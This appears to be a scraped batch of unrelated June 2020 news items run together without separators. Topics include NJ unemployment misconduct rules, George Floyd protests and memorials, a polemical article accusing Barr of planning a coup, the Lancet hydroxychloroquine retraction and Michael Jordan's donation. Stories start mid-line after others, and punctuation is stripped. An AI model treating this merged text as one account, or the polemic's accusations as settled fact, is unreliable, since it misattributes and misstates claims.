While the expanded federal benefits, on a case-by-case basis, cover people who believe their workplace is unsafe or workers who must stay home to care for children, they dont change the misconduct rule, unemployment experts said.

There are two types of misconduct: regular or simple misconduct and gross misconduct.

Gross misconduct involves a crime of the first, second, third or fourth degree under New Jersey criminal code, said Kathryn McClure, a partner with Smith Eibeler, an employment and litigation law firm headquartered in Holmdel. Regular misconduct would disqualify you for a period of five weeks after which time you can obtain benefits.

The Labor Department clarifies that the misconduct disqualification period would begin the week your firing or suspension occurred, and continue for the next five weeks.

CORONAVIRUS RESOURCES: Live map tracker | Newsletter | Homepage

McClure said regular misconduct would involve acts such as falsifying a job application, chronic absences, chronic lateness or repeated failure to comply with an employers instructions.

Misconduct may also be found when there is `a deliberate disregard of standards of behavior the employer has a reasonable right to expect, including reasonable safety standards and reasonable standards for a workplace free of drug and substance abuse,' said Alex Lee, an attorney with Einhorn Barbarito in Denville.

The process starts when you apply for benefits. If you believe you were fired through no fault of your own but your employer says it was for misconduct, you could be in for a longer wait.

McClure said you would have a fact-finding interview with a Labor Department claims examiner, who would then decide if it was indeed misconduct.

There are often two sides to the story of how someone was let go from a job, she said.

She offered this example: Maybe an employer decides the COVID-19 pandemic is a convenient time to do some downsizing and lets say you previously had permission by the employer to report to work 10 a.m. instead of 9 a.m. because you need more time in the morning for medical reasons. If your boss later fires you for excessive tardiness, you would explain to the Department of Labor that you had a longstanding agreement with the employer.

Then the Department of Labor would make a determination.

If the decision is against you, you can file an appeal.

There are very strict time constraints when you get a notice of denial of benefits. You have to adhere strictly to the deadline on your notice, McClure said.

If there is a finding of misconduct, the worker will be disqualified from receiving benefits starting the week of the termination and for the following five weeks they would otherwise be entitled to, Lee said.

If gross misconduct is the finding, the worker will be barred completely from receiving benefits, Lee said.

Gross misconduct means that the individual will be barred from even future benefits until they meet certain conditions that would lift that bar, Lee said. That includes returning to work in covered employment for eight weeks, showing that they are earning 10 times their weekly benefit rate, and then again becoming unemployed through no fault of their own.

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Karin Price Mueller may be reached at bamboozled@njadvancemedia.com.
SAGINAW, MI - Police officers joined faith leaders and a group of more than 100 people for a peace walk on Thursday from Hoyt Park in Saginaw to the Saginaw County Governmental Center. The walk was a show of solidarity to protest the killing of George Floyd and systemic racism.

Floyd died May 25 when a Minneapolis police officer kneeled on his neck.

Chris Pryor, pastor at Victorious Believers Ministries, attended the march with his two sons and other family members. He said walking Thursday made him think about the civil-rights marches in the 1960s and what those activists fought for.

I began to tear up because so many people lost their lives and went to jail for doing what me and my sons are doing today, Pryor said. Its just been transformational, just knowing what they had to experience, and still today we have to go through a similar struggle. But I remain optimistic that change is coming.

The protests are not just highlighting issues of police brutality, Pryor said. There is now a fight to uproot systemic racism and promote fairness at every level, including justice, education, economics and government, he said.

I go to a school every Tuesday as a pastor, Pryor said. Those children dont have books. When we talk about trying to have iPads for children, Im trying to fight to get them books in their schools.

Isaac Blackmon, deacon at Christ Image Community Church in Saginaw Township, said the only real change will come from new laws. He said police should be held accountable in situations where theyre plainly wrong.

Although our heart is heavy over this situation, its time for change in this country, Blackmon said. We want to be treated with the respect and dignity that we all deserve.

After reaching the courthouse, community leaders took turns speaking to the crowd on a megaphone. Between speakers, the phone was passed to law enforcement leaders, including County Sheriff William Federspiel and Saginaw Police Chief Robert Ruth.

Ruth said the killing of George Floyd was wrong and should not have happened. He committed to sitting down with community leaders and discussing the departments policies, committing to making changes and saying the department is considering creating a citizens advisory committee.

"We're gonna change the policies that need to be changed," Ruth said. "I give you my word, we are gonna get that done."

Federspiel spoke about recent changes made at the county level, including dumping a phone service provider that was overcharging jail callers and adding a video system so inmates can make complaints that go directly to the sheriff.

"You have good people and bad people... I would like to believe we have a high majority (of good people), not only in the sheriff's office, but across the county," Federspiel said. "The Saginaw community is strong."

Some tensions developed later in the demonstration after a woman asked why residents have been pulled over without cause. Ruth responded with Law enforcement officers pull people over for a reason, sparking anger in some who didnt agree.

The speeches ended soon after, with discussions between community members continuing on the walk back to Hoyt Park. Some said they felt the police werent making enough of an effort to listen and engage with protesters, some feared pushing them away with a negative response.

West Branch resident Athena DeMatio spoke passionately about coming together as one and showing up every day for change. She called for holding Saginaw Police accountable to their promises to change policies and procedures.

Its us versus racism, its us versus racists," DeMatio said. Its us versus brutality."

Read more:

Police discuss tactics, diversity and George Floyds death with Saginaw community

Mandatory bias training for police passes Michigan Senate

Charging Ypsilanti woman punched by police serves no reasonable, useful purpose, ACLU says
The Trump administration is continuing its campaign for military intervention against the mass protests over police brutality that have swept the United States since the police killing of 46-year-old African American George Floyd on May 25. Attorney General William Barr and FBI Director Christopher Wray held a press conference Thursday afternoon to voice lying claims that left-wing groups bent on violence had hijacked the protests, in an effort to manufacture a pretext for repression.

Barr advocated the use of anti-terrorism units to apprehend the agitators. The branding of domestic political opposition as terrorism is aimed at delegitimizing and criminalizing all opposition to police violence and the policies of the oligarchy.

The level of lying in the Barr press conference would be admired by Nazi spokesman Josef Goebbels, the head of Hitlers Big Lie propaganda machine. Barr conjured up an invented world in which demonstrations involving millions of people in hundreds of cities, large, medium and small, are being manipulated by Antifa, an organization that has not a single identified member. He also claimed that foreign actors were intervening in the protests, adding the specter of a Russian, Chinese, Iranian or Al Qaeda role.

Utah National Guard soldiers stand on a police line as demonstrators gather to protest the death of George Floyd, Thursday, June 4, 2020, near the White House in Washington. (AP Photo/Alex Brandon)

Antifa is little more than a label adopted by youth who protest against ultra-right and white supremacist provocations. As an organized group, it exists mainly in the fevered imaginations of FBI informers and agentswho likely comprise most of its membership. If Antifa did not exist (and it may not), Trump, Barr & Co. would be compelled to invent it as a pretext for the mass repression that they are carrying out against the American working class.

Barr advocated the use of existing Joint Terrorist Task Forces against the supposed Antifa threat. The JTTF unite federal and state police agencies in a common effort, initially directed against the Islamic fundamentalists who carried out the September 11, 2001 attacks in New York City and Washington, but now to be turned against all left-wing opposition to the policies of the Trump administration and its collaborators at the state level.

FBI agents working through the JTTF will go out to question people about their political views, in gross violation of the First Amendment, and seek to criminalize their participation in protests. A Department of Homeland Security memorandum, obtained by Politico, cited the need for intelligence agents to be vigilant in looking for any kind of emerging threat to the homeland, while making the revealing admission that some of the observed suspicious behaviors include constitutionally protected activities

Barr has emerged as one of the principal agents of Trump in preparing a presidential dictatorship. The chief law enforcement officer, as the attorney general is described, is actually a full-fledged co-conspirator in the assault on the US Constitution and democratic rights.

Trump has threatened to invoke the Insurrection Act, but unlike 1992 in California, no state governor has requested federal military assistance. So the White House aims to use the District of Columbia, which is federal territory and not part of any state, as an example of the use of overwhelming military force to crush protests and intimidate the largely African American population.

As press reports have begun to show, it was Barr who played the main role in the police-military attack on peaceful protesters in Lafayette Park, across the street from the White House, on Monday night. The anti-riot force of the federal Bureau of Prisons, under Barrs direct authority since it is part of the Department of Justice, was the spearhead of the effort to clear the park, using tear gas, pepper balls and other riot gear, so that Trump could take his massively publicized walk across the park and pose, holding a Bible, in front of St. Johns Episcopal Church, which had suffered minor fire damage over the weekend.

At the press conference, Barr hailed the role of myriad federal agencies in the DC repression, declaring, We have deployed all the major law enforcement components of the department in this mission, including the FBI, ATF, DEA, Bureau of Prisons, and US Marshals Service.

He recalled his own role in 1992, during his previous term as attorney general in the administration of George H. W. Bush, the last time that a president invoked the Insurrection Act, during the upheaval in Los Angeles that followed the acquittal of the police thugs who beat Rodney King. That earlier racist atrocity by police, like the killing of George Floyd, became a national scandal because it was filmed by bystanders and the whole country was able to witness the true nature of American law and order.

Vice President Pence, who was absent during the Lafayette Square provocation, has resurfaced as a fervent advocate of the Insurrection Act and the use of federal troops. In an interview with a Pittsburgh television station, Pence condemned the Democratic governor of Pennsylvania for calling out only 500-600 National Guard troops and threatened to send in the US Army instead.

The president and I will continue to urge the governors, like Governor Wolf, to call up the National Guard, deploy them to the streets and in a strong and decisive manner to restore order. The American people expect nothing less, said Pence.

While lies on the scale of those advanced by Barr may seem demented and unbelievable, there is a definite logic at work. It is part of a game plan to justify a military coup detat that would place unchallenged power in the hands of the president. The gangster language of Trump and his accomplices, including aides like Stephen Miller and advisers like Steven Bannon, demonstrates that they are not playing by any sort of constitutional-democratic rulebook. They will do and say anything to carry out their plans to establish an authoritarian regime based on the military and the police.

The greatest danger for working people and youth would be to underestimate the dangers and believeas the corporate media and the Democratic Party would suggestthat Trump has given up his plans for military rule because of opposition from within the political and national-security establishment. Spreading this poisonous complacency was the main function of the sermon delivered by Democratic Party operative Al Sharpton to the memorial service held for George Floyd Thursday in Minneapolis.

Sharpton was compelled to admit that the massive turnout at nationwide protests, with large numbers of young whites comprising a clear majority of those outraged and angry over the murder of George Floyd, marked something new in American political and social life. But he quickly turned to his real purpose: portraying the attack on Floyd as purely racial, thus concealing its class character as an attack on the working class, and covering up the role of the police, whether white or black, as the repressive arm of the capitalist state.

Making light of Trumps threat to use military force against the protesters, Sharpton called the president all bark and no bite. This under conditions where at least a dozen people have already been killed by police and National Guard troops since the protests began, and where Trump and his co-conspirators are actively preparing an intervention by the military on the streets of America that would mean a terrible bloodbath.

Not one prominent Democrat has denounced Trump for threatening a military takeover or demanded that he be removed from office. Presumptive Democratic presidential nominee Joe Biden has been virtually invisible. House Speaker Nancy Pelosi, the top Democrat in Washington, merely sent a letter to the White House Thursday requesting that it supply Congress with a list of the military and police agencies involved at Lafayette Park, as though there were not an ongoing effort to overthrow the constitutional structure of the United States.

The Socialist Equality Party has issued a call for workers and youth to oppose the White House plans to suppress democratic rights and impose a police-military regime. We said:

The working class must intervene in this unprecedented crisis as an independent social and political force. It must oppose the conspiracy in the White House through the methods of class struggle and socialist revolution.

The millions of workers and youth taking part in mass protests against police violence must begin to raise political demands against the gangster methods of the Trump administration, calling for the removal of Trump, Pence and their conspirators from office.
Source: Xinhua| 2020-06-05 12:19:13|Editor: huaxia

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SYDNEY, June 5 (Xinhua) -- With thousands of Australians planning to attend anti-racism protests across the country during the weekend, authorities worried that the mass gatherings may undo months of work in curbing COVID-19.

"The risks of people coming into close proximity are real and Australians have worked incredibly hard in recent months and have undergone great sacrifices to protect the health of the most vulnerable and that does include our indigenous communities," Australia's Prime Minister Scott Morrison said.

Earlier this week, hundreds of people in Sydney and Perth attended protests to support the Black Lives Matter movement in the United States and African American George Floyd who died after a former Minneapolis police officer knelt on his neck.

Protesters were also calling for public awareness to high levels of indigenous incarceration and deaths in custody in support of Australia's Aboriginal community.

However, originally approved public protests in the state of New South Wales (NSW), faced new difficulties on Friday with police bringing organizers to the Supreme Court to stop Saturday's anti-racism protest in Sydney from occurring.

"The New South Wales Government would never ever give the green light to thousands of people flagrantly disregarding the health orders," NSW Premier Gladys Berejiklian said.

This came after the state's Police Minister David Elliott criticized the local protests to reporters.

"Anybody who goes to mass gathering during a pandemic is certifiably insane, they are nuts," Elliott said.

Similarly, nearby Victorian State authorities also urged residents there not to attend the weekend protests, worried it may spark a second wave of the pandemic.

However, the South Australian (SA) State government decided to grant an exception to local COVID-19 restrictions, allowing the planned Black Lives Matter protest in its' capital city of Adelaide to go ahead unchallenged.

As of Thursday, there were 474 active COVID-19 cases in Australia, with 23 patients still in hospital. Enditem
Even as intelligence agencies report that Indias most wanted fugitive Dawood Ibrahim and his wife have tested positive for Covid-19 and are admitted in Army Hospital, Karachi, Dawoods brother Anees Ibrahim, who controls D-companys underworld operations and finance, denies such reports.

News agency IANS quoted Anees as saying that his brother Dawood and the entire family was not affected by the Covid and are at their home. He, however, admitted to running a business in the UAE and Pakistan.

Intelligence reports earlier said that Dawood and his wife have tested positive for coronavirus. The reports also revealed that his personal staff and guards have been quarantined.
Amazon

New Delhi: Amazon India has said that its platform will now allow sellers to register in Hindi and manage their online business in Hindi.

Amazon said in a statement that the reason for doing so was to benefit millions of small and medium-sized businesses, small shopkeepers and retailers in India from the language barrier and to benefit from the e-commerce platform.

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Amazon The company said that for the first time, sellers will have the opportunity to use Hindi to record, know and understand their order, inventory management and performance metrics and the related experience will be available on the sellers' website and mobile app.

In addition, Amazon is also providing Seller Support Services, Seller University videos and tutorials in Hindi. Gopal Pillai, who is serving as Vice President at Amazon India, said that the company has always adhered to the principle that every seller in the country and the world should have access to as many customers as possible.

AmazonProviding registration and bookkeeping facilities in Hindi is a step in this direction. The company is working to promote local languages ??in business expansion.

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According to the company, 100 Amazon sellers from Tier 1, 2 and 3 cities in Uttar Pradesh, Bihar, Maharashtra, Rajasthan, Punjab, Chhattisgarh, Jharkhand, Telangana and Himachal Pradesh have adopted Hindi to manage their accounts during the six-month trial phase.
Boy Scout Uses 3D Printer to Make Mask Ear Guards for Hospital Staff in Need on Front Lines
WASHINGTON  Freshman Sen. Tom Cotton has risen to the ranks of potential 2024 Republican presidential contenders by making all the right enemies. By lining up behind President Donald Trumps law-and-order recipe for controlling civic unrest, hes making even more.

One thing above all else will restore order to our streets: an overwhelming show of force to disperse, detain and ultimately deter lawbreakers, the 43-year-old Arkansan wrote this week in a New York Times opinion column.

That infuriated Democrats and liberals, whom his column thumped by calling protests rocking cities carnivals for the thrill-seeking rich as well as other criminal elements.

For good measure, Cotton lambasted the Times  a favorite conservative target  after it released a subsequent statement saying Cottons essay did not meet its standards. Times employees had rebelled, expressing shame and anger about the piece.

If the @nytimes allows woke journalists to bully it into submission, why should any reader trust that the reporting by the @nytimes is fair and objective? Cotton tweeted Friday.

Seldom acknowledging reporters questions as he strides through Capitol hallways, Cotton is known for bellicose stances on issues that thrill Trumps conservative supporters. Hes been a hard-liner on immigration, Iran and most recently China, including suggesting that the coronavirus may have originated in one of that countrys secret labs.

Cottons office declined to make him available for this article. But a person close to him, speaking on the condition of anonymity to discuss the lawmakers thinking, said Cotton would consider serving in the Cabinet for a second Trump term if hes reelected in November or running for president himself in 2024.

An Army combat veteran and Harvard Law School graduate, Cottons ambition is no surprise in Washington or Arkansas. Notice has been taken of his unusually high profile for a first-term senator and his frequent appearances on the network of choice for Trump and his followers.

Cotton is out there every night, and hes winning the Fox GOP primary for 2024, said Scott Reed, senior political strategist for the U.S. Chamber of Commerce.

Everything hes doing looks like what a very ambitious person who wants to run for president at the next available time does, said GOP consultant Liz Mair, who says shes not a fan.

With some protests over police killings of black men veering into violence in New York and elsewhere, Cotton took to Fox on Thursday to reprise his frequent role as one of Trumps chief defenders.

He disputed Defense Secretary Mark Espers comment that this weeks urban turbulence didnt justify deploying troops in cities, saying that was Trumps call. And to former Defense Secretary Jim Mattis stunning assertion that Trump was dividing the country and violating the Constitution, Cotton said, Hes wrong on this one.

None of that went over well with Democrats.

Im appalled that anyone, let alone a member of the Senate Armed Services Committee, would advocate for the use of military force to silence dissent, said Sen. Richard Blumenthal, D-Conn., a fellow member of that panel.

Representing a state that has turned increasingly Republican, Cotton faces reelection in November with no Democratic opponent. He plans to use some time helping GOP Senate candidates including Bill Haggerty in Tennessee and Joni Ernst in Iowa, which holds each presidential cycles first caucuses.

In an ad that aired earlier this year in Ohio  a swing state in presidential contests  Cotton tied together two foes: China and Trumps all-but-certain Democratic presidential opponent, former Vice President Joe Biden.

China is the greatest threat to Americas security and our values, the announcer says, accusing China of running concentration camps and stealing millions of American jobs. Career politician Joe Biden is weak on China.

As the spot ends, it shows a split screen of Cotton wearing his combat fatigues and Trump in a Make America Great Again hat. Senator Cotton is standing with President Trump to take on China and keep America great, the announcer says.

Sen. Cotton has taken the Trump approach of playing to the fears and darkest, most negative things that appeal to Trump supporters, said Michael John Gray, chairman of the Arkansas Democratic Party. His ambitions been bigger than Arkansas from the moment he sought a seat in the House.

Cotton served six years in the Army in the early 2000s, leading a combat platoon in Iraq and being deployed to Afghanistan. He also spent time in the Old Guard, whose ramrod-straight members keep ceremonial watch over the Tomb of Unknown Soldier at Arlington National Cemetery just outside Washington.

Cotton grew up on his familys Arkansas farm and attended Harvard University and its law school.

As a student in 1996, he wrote an article in the schools paper, The Harvard Crimson, lauding the political skills of a fellow Arkansan: then-President Bill Clinton, whom he called the most sincere campaigner of our time. He also praised the intelligence of Hillary Clinton, later to become Trumps vanquished Democratic presidential rival, saying Bill Clinton would have never made it past county commissioner without her.

But what Cotton hailed as Bill Clintons easy-going, affable style has not seemed to rub off on Cottons manner in Washington.

Hes definitely accumulated the right national security and foreign policy experience to put him on track to run in 2024, said Ron Bonjean, a GOP political consultant and former top congressional aide. He added: Hes not a backslapper. Hes a really serious guy.

Cotton served one House term before being elected to the Senate in 2014. Within weeks of taking office, he incensed Democrats.

He drafted an open letter to Iranian leaders, signed by 46 GOP colleagues, warning that a nuclear deal that President Barack Obama was seeking would not be binding and could be dismantled by the next president.

Trump pulled the U.S. out of that agreement in 2018.

___

AP reporter Andrew DeMillo contributed from Little Rock, Arkansas.
Photo: Getty Images

On Thursday, June 4, comedians Tiffany Haddish and Kevin Hart attended the first memorial for George Floyd held in Minneapolis, Minnesota. The memorial service, held at the Frank J. Lindquist Sanctuary at North Central University, is the first of three public memorial services for the late Floyd, who was killed when police officer Derek Chauvin knelt on his neck for over 8 minutes during an arrest. Haddish and Hart were not the only celebrities in attendance as Ludacris, Tyrese Gibson, T.I., Will Packer, and Master P all attended the memorial service. Rev. Al Sharpton, Rev. Jesse Jackson, and Martin Luther King III along with Minnesota politicians including Gov. Tim Walz, Minneapolis Mayor Jacob Frey, and one-time Presidential candidate Senator Amy Klobuchar were also present at Floyds memorial service.

Sharpton delivered the eulogy for Floyd, during which he shouted out the celebrities in the audience, asking each celebrity to stand and eventually inviting Haddish to join him on stage. The choice to highlight the celebrities in attendance drew some online criticism, prompting Tiffany Haddish to tweet the following, I usually dont give space to the bullshit that some people spew about me, not today. We are in the middle of the fight for our lives. I was blessed and honored to be asked to attend the memorial service of George Floyd, our brother, who was murdered, which led us to this moment. A second memorial service for Floyd will be held on June 6 in Raeford, North Carolina, the state where Floyd was born, at Cape Fear Conference B Headquarters.

Part 2 of my eulogy for George Floyd at the Memorial for George Floyd live in Minneapolis https://t.co/YQsgf0bwBF  Reverend Al Sharpton (@TheRevAl) June 4, 2020

Im confused. Why are these celebrities getting a shout out at George Floyds memorial service? I dont care or need to know that Tiffany Haddish & Tyrese are in the building. #GeorgeFloydMemorial  Black Beauty Lover (@BlackBeautyLuvr) June 4, 2020

I usually dont give space to the bullshit that some people spew about me, not today. We are in the middle of the fight for our lives. I was blessed and honored to be asked to attend the memorial service of George Floyd, our brother, who was murdered, which led us to this moment.  Tiffany Haddish (@TiffanyHaddish) June 5, 2020
In March of 2020, the stock market hit a rough patch investors hadn't experienced in over a decade: a bear market. Bear markets are defined as periods when stocks lose 20% of their value or more, and while they do present investors with portfolio-building opportunities, they can also be worrisome.

Thankfully, the stock market has already recovered a large chunk of its losses from March, though stock values have yet to return to pre-pandemic levels. Meanwhile, millions of Americans are grappling with financial concerns as U.S. employment levels reach record highs and widespread economic recovery seems distant.

If you have money worries, or aren't feeling great about the state of the stock market, you may be tempted to unload some of your investments in the near term. That way, you can get some cash in hand to use in case your income gets cut, or another emergency arises. But before you do, ask yourself these critical questions.

1. Do I really need the money, or am I motivated by fear?

If you've lost income during the COVID-19 crisis and are struggling to pay your bills, you're better off liquidating investments than racking up credit card debt to cover your expenses -- even if that does mean locking in losses. But if you don't actually need the money, you should aim to leave your portfolio alone. Though there's a chance stock values will decline in the course of 2020, especially if unemployment levels get a lot worse or there's a second wave of COVID-19 that threatens to overwhelm hospital systems, that shouldn't drive you to pull out of stock positions that may prove quite lucrative in the long run.

One thing you need to remember about the stock market is that it has a strong history of recovering from downturns, so don't let your fear of losses drive you to lock some in. If you're still earning the same paycheck you were pre-pandemic and your expenses haven't risen, then there's really no need to cash out investments when they may be down.

2. Do I have an emergency fund to tap?

The money you have tied up in stocks isn't money you should ever fall back on; that's what your emergency fund is for. If you have money in the bank for unplanned bills, you're better off raiding that account than touching your investments. Though depleting your savings may leave you feeling financially vulnerable, it pays to go that route before resorting to taking investment losses. Of course, if you don't have emergency savings, then you may have to unload investments if you have an immediate need for cash. But if that's not the case, your bank account should be your first resource to tap.

3. Can I borrow affordably?

Maybe you have a genuine need for money, and you figure you're better off cashing out some investments than building up a balance on your credit card. But before you do so, see if you can borrow money in a manner that doesn't harm your credit or cost you a fortune in interest. If you own a place of your own, you may be eligible for a low-interest home equity loan or line of credit. And if that's not an option, see if you qualify for an affordable personal loan through your bank before taking serious losses in your portfolio.

Whether you're tempted to liquidate some of your investments out of financial concerns, fear, or both, that's a move you might sorely regret afterward. Run through the above questions before selling investments right now, so you're better equipped to arrive at a logical decision.
Kansas City New Hotness: Medical Surveillance

Business sees increase in sales of temperature-taking security cameras KANSAS CITY, Mo. - Truman Medical Center is one of the companies investing in a relatively new temperature-taking security camera. Bob Niekamp, owner of Electronics Supply Co., said the cameras, which the business started selling because of the coronavirus pandemic, can take body temperatures using facial recognition.

Kansas City Builds For Future

New $15 million children's museum in South Kansas City plans to open in October KANSAS CITY, Mo. -Crews reached a major milestone in the construction of a $15 million children's museum in south Kansas City Thursday. They celebrated the end of construction on the building in the Red Bridge Shopping Mall. Next, they need to finish up the inside and install ten new exhibits for kids to explore and [...]

Brit Shares The Love

Britney Spears says her 'heart breaks' for friends in black community Britney Spears chimed in late Monday on the current state of affairs in the country, after a weekend rife with protests both peaceful and not from coast to coast over the death of unarmed black man George Floyd one week ago.

Diverse Mugshots After Tragic George Floyd Killing

Bail set at up to $1 million for three ex-Minneapolis police officers charged with abetting alleged murder of George Floyd Three now-former Minneapolis police officers had bails set at up to $1 million at their arraignment Thursday in court o n charges of aiding and abetting a fourth cop in the alleged murder of George Floyd, a black man whose Memorial Day death while in their custody has led to more than a week of protests nationwide over police brutality.

Prez Trump Confronts Legal Battle Over Church Visit

Protesters, ACLU sue over use of force at White House ahead of Trump's church visit Several protesters and the American Civil Liberties Union filed a lawsuit Thursday challenging the federal use of force to disperse a peaceful protest in Washington, DC, ahead of President Donald Trump's photo-op at a local church.

Hong Kong Fights For Freedom

Hong Kong defies ban to honor Tiananmen Square massacre victims Thousands of people in Hong Kong defiantly commemorated the Tiananmen Square massacre on Thursday, holding a vigil despite a police ban as the territory witnesses Beijing stamp out its freedoms in real time.

Campaign 2020 Hacking Underway

Chinese, Iranian Hackers Targeted Biden And Trump Campaigns, Google Says Almost exactly four years after Russian operatives hacked into the email accounts of prominent Democrats ahead of the 2016 election, Google confirmed on Thursday that foreign adversaries are still at it. Chinese-backed hackers were observed targeting former Vice President Joe Biden's campaign staff, and Iranian-backed hackers were seen targeting President Trump's campaign staff.

Pandemic Flip Flop???

Suddenly, Public Health Officials Say Social Justice Matters More Than Social Distance "The injustice that's evident to everyone right now needs to be addressed," Abraar Karan, a Brigham and Women's Hospital physician who's exhorted coronavirus experts to use their platforms to encourage the protests, told me.

Home Team Help Contd

Big Slick at Home kicks off Friday Although Rob Riggle, Paul Rudd, Jason Sudeikis, Eric Stonestreet and David Koechner won't return to bat, bowl and perform across Kansas City until June 2021 because COVID-19 shut down this year's Big Slick Weekend, their dedication continues.

Downtown Kansas City Boosters Tout Virtual Tourism

5 virtual OR live ways to explore Downtown KC Dish up the scoop on First Friday + JuneteenthKC - month-long, virtual delight + KC Rep shakes up a mean virtual mixer + National WWI Museum is ready for action + Union Station begins phase...

KC Faith & Unity Arises

Suburban church joins urban counterpart in uniting for racial justice KANSAS CITY, Mo. - Christians from across the metro area joined together Thursday at Mill Creek Park in a show of unity for justice in our society. These suburban and urban Christians said they want to eliminate racial injustice.

Friday Hotness Awaits

Above normal temps for your Friday Hide Transcript Show Transcript 88 IN MARYVILLE. HOUR-BY-HO FORECAST, DROPPING TO 82 DEGREES. 10:00 NEWS TIME, 80 AND 79 BUT NO MENTION OF RAINFALL BY THAT TIME. FIRST ALER FUTURESCAN PICKS UP ON THE CHANCE WE WILL STAY MOSTLY DRY. SHOWERS START TO POP UP FROM NEBRASKA TO KANSAS.

Longtime pop divaas we take a peek at pop culture, community news and info from across the nation and around the globe . . .And this is thefor right now . . .
New Delhi: The authors of a controversial study published in The Lancet journal linking the use of malaria drug hydroxychloroquine with increased death risk in COVID-19 patients, have retracted their research paper, after they could no longer vouch for the veracity of the primary data sources used in their analysis.

It was soon followed by the withdrawal of another study, published in the New England Journal of Medicine, which suggested that underlying heart disease is associated with an increased risk of death among patients hospitalised with COVID-19.

"Today, three of the authors of the paper, "Hydroxychloroquine or chloroquine with or without a macrolide for treatment of COVID-19: a multinational registry analysis", have retracted their study," The Lancet journal noted in a statement.

It said the study's authors were unable to complete an independent audit of the data underpinning their analysis and had concluded that they "can no longer vouch for the veracity of the primary data sources."

Speaking about the significance of the retraction, Anurag Agarwal, Director Translational Research in Lung Disease at CSIR-Institute of Genomics and Integrative Biology, said "the retraction does not prove in any way that HCQ or chloroquine work, it simply proves that the concerns of very high mortality risk from the drug are unfounded."

"We can continue with trials till we know more," Agarwal told PTI.

The research, published on May 22, claimed to have assessed data from more than 96,000 hospitalised COVID-19 patients from six continents and reported substantially increased deaths and incidences of heartbeat rhythm changes associated with the use of hydroxychloroquine (HCQ) and closely related drug chloroquine.

From their analysis, the scientists had concluded that treating COVID-19 with the drugs was linked to decreased chances of in-hospital survival, and an increased frequency of heartbeat rhythm disturbances.

Soon the World Health Organisation (WHO) paused recruitment of patients to the HCQ arm in their SOLIDARITY clinical trial after the study was published.

However, on Tuesday, The Lancet published a statement expressing concern over the study after over 100 scientists from across the world flagged discrepancies in the research in an open letter to the journal's editor Richard Horton, adding the clinical trial of HCQ would resume.

According to the open letter, the HCQ research was based on a database from a company based in Illinois, US called Surgisphere Corporation, which according to the scientists, hosts COVID-19 patient data from hundreds of hospitals around the world.

From this database, the now-retracted study assessed data from 96,032 patients admitted to 671 hospitals across six continents. However, in the open letter, the researchers flagged several points of concern about the validity of this data, and the kind of analysis done in the study with it.

The scientists behind the open letter said there was no mention of the countries or hospitals that contributed to the data source and no acknowledgments of their contributions.

Citing an example, they said data on patients from Australia was not compatible with government reports from the country.

This prompted The Lancet to take note of these discrepancies and update the notice as soon as they conducted an independent peer-review investigating the source of the data.

When an independent third-party peer review of Surgisphere data was initiated with the consent of the co-authors of the study to evaluate the origination of the database, and to replicate the analyses presented in the paper, the peer reviewers said Surgisphere would not transfer the full dataset.

"Several concerns were raised with respect to the veracity of the data and analyses conducted by Surgisphere Corporation and its founder and our co-author, Sapan Desai, in our publication," the authors of the study wrote in the retraction statement published in The Lancet journal.

"Based on this development, we can no longer vouch for the veracity of the primary data sources. Due to this unfortunate development, the authors request that the paper be retracted," the statement noted.

When the independent peer-review was initiated by the journal, the co-authors themselves were unable to obtain details on the source of the data in their study from the hospitals they procured patient information from.

They said this was because of the client contracts to their servers due to which such data transfer violated the agreements and confidentiality requirements the clients had with the company.

It is right that these articles were retracted. However, the failure to resolve such basic concerns about the data during the course of normal peer review raises serious questions about the standard of editing at the Lancet," Professor Chris Chambers from Cardiff University in the UK said in a statement.

"If these journals take issues of reproducibility and scientific integrity as seriously as they claim, then they should forthwith submit themselves and their internal review processes to an independent inquiry, Chambers added.

Agarwal noted that in this case, the biggest fault is with the "authors who submitted a faulty paper," as even they had no access to the data, according to their disclosure.

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Source: Xinhua| 2020-06-05 22:00:17|Editor: huaxia

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GABORONE, June 5 (Xinhua) -- Botswana President Mokgweetsi Masisi on Friday reminded teachers of the need to embrace Information and Communication Technology (ICT) for information dissemination and social interaction.

In his message marking the occasion of the National Teachers' Day, which is celebrated annually on the first Friday of June in Botswana, Masisi described the occasion as "auspicious" that recognizes the contribution of teachers to the socio-economic development of Botswana.

"I want to remind you (teachers) that there is need to embrace Information and Communication Technology (ICT) for information dissemination and social interaction, especially in these difficult times caused by the COVID-19 pandemic," said Masisi.

Botswana closed schools on March 20 this year, as a precautionary measure to contain the spread and transmission of the deadly global pandemic. The closure of schools forced teachers to turn to technology in order to continue teaching remotely during the times of social distancing.

Although schools reopened last week in a phased approach, Masisi said "we have had to introspect on how we do things and identify new methods of delivering education to ensure the realizations and aspirations of the United Nations Sustainable Development Goal on Quality Education."

Under the new normal, Masisi said teachers will need to be innovative and flexible by ensuring that curriculum delivery and syllabus coverage is completed in the most efficient and effective manner, he said.

"Measures such as e-learning, flip school, the double shift model and flexible lesson schedules should be explored to provide the best learning platforms and environment for our children," Masisi said.

According to the United Nations Educational, Scientific and Cultural Organization's latest statistics, Botswana has one of the highest literacy rates not just in Africa but across the world, at over 86 percent for people aged 15 years and above. Enditem
Michael Jordan and Jordan Brand released a statement on Friday announcing that they will donate $100 million over the next 10 years to organizations dedicated to ensuring racial equality, social justice and greater access to education.

Heres the statement, as tweeted by Jordans manager and spokeswoman, Estee Portnoy:

Joint Statement from Michael Jordan & Jordan Brand regarding $100m donation. pic.twitter.com/yYXWh5eBZl  Estee Portnoy (@esteep) June 5, 2020

The Jordan Brand is us, the Black Community. Jordan Brand is more than one man. It has always been a family. We represent a proud family that has overcome obstacles, fought against discrimination in communities worldwide and that works every day to erase the stain of racism and the damage of injustice. The will, the work, the excellence the world has come to know is the result of one generation after another, pouring their dreams into the next. Its 2020, and our family now includes anyone who aspires to our way of life. Yet as much as things have changed, the worst remains the same. Black lives matter. This isnt a controversial statement. Until the ingrained racism that allows our countrys institutions to fail is completely eradicated, we will remain committed to protecting and improving the lives of Black people. Today, we are announcing that Michael Jordan and Jordan Brand will be donating $100 million over the next 10 years to organizations dedicated to ensuring racial equality, social justice and greater access to education.

The announcement and donation comes after the recent killing of George Floyd. On May 25, Minnesota police officer Derek Chauvin kneeled on Floyds neck for nine minutes, despite Floyd telling Chauvin and three other officers that he couldnt breathe. It was announced on Wednesday that Chauvin was charged with second-degree murder, and the three other officers were charged with aiding and abetting murder.

Floyds death has led to racial injustice and police brutality protests that continue all across the United States, and even worldwide.

Jordan released a statement on May 31, saying, We have had enough.

Statement From Michael Jordan pic.twitter.com/lnXYMhtvo3  Estee Portnoy (@esteep) May 31, 2020

